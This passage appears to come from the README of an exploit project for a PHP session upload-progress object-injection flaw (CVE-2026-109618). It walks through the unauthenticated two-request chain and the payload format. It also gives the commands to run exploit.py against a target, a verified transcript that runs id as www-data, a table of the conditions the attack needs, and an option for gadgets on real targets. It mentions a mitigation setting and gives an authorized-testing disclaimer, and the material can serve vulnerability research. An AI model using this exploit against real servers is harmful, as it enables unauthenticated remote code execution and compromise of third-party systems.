through 8.5.11 — is affected. Mitigation: `session.upload_progress.enabled = Off`.
This project contains a working exploit (`exploit.py`) and a Docker target environment that
reproduces the vulnerable host profile (nginx + php-fpm 8.2.34, per-directory
## The chain (two unauthenticated requests)
multipart fields: PHPSESSID= (session fixation
PHP_SESSION_UPLOAD_PROGRESS=| via POST body)
-> the upload-progress key becomes `upload_progress_|` and is
stored verbatim inside the php_serialize session blob.
-> the app's session_start() decodes with the default `php` handler,
which splits the blob at the FIRST `|` (ours) and unserializes the
payload: object injection. Trailing container data forces a decode
FAILURE -> var_destroy -> the injected object's __destruct runs
The exploit injects `O::1:{:""}` — any loaded class whose
`__destruct` executes or calls into something with the property you control.
Default gadget: `Logger->cmd` (defined by the target's `api/app.php`, standing in
for real app/preload classes). Payload: ~48 bytes.
exploit.py the exploit (stdlib only)
Dockerfile vulnerable target environment: nginx + php-fpm 8.2.34
webroot/app/ seed dir (.user.ini -> session.serialize_handler=php_serialize)
webroot/api/ fire dir (.user.ini -> php), Logger gadget class
# 1. build & start the target environment
docker build -t cve-2026-109618-exploit .
docker run -d --name cve618 -p 8080:80 cve-2026-109618-exploit
curl # -> [api] session started
python3 exploit.py 127.0.0.1 8080 "id; uname -a"
python3 exploit.py 127.0.0.1 8080 "cat /etc/hostname" --sid deadbeef0000000000000000000caf
python3 exploit.py host port "cmd" --gadget Monolog --prop target # real-target gadget
Verified transcript against this environment (PHP 8.2.34-fpm):
$ python3 exploit.py 127.0.0.1 8080 "id; uname -sr"
[gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data)
The command output appears in the trigger response: `__destruct` (and thus
`system()`) runs during `session_start()`'s decode-failure cleanup, before the
`Failed to decode session object. Session has been destroyed` warning.
| `session.upload_progress.enabled=On` (default) | the injection channel |
| `session.upload_progress.cleanup=Off` | keeps the seeded payload on disk (with the default `On` only a race window remains) |
| two reachable dirs with different `session.serialize_handler` (`.user.ini` / `.htaccess`) | write side php_serialize, read side php — the `|` split |
| a class with a useful `__destruct` loaded when `session_start()` runs (app code, `opcache.preload`, `auto_prepend_file`) | the RCE gadget; `--gadget/--prop` to match it |
| `session.use_strict_mode=0` (default) | attacker-chosen session id via the POST `PHPSESSID` field (bypasses `use_only_cookies`) |
Note: the payload must ride the **`PHP_SESSION_UPLOAD_PROGRESS` field value**,
not the uploaded filename — multipart part-header lines are capped at ~5 KB and
For authorized security testing and research only. Run it against your own test
environments or systems you have explicit permission to test.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
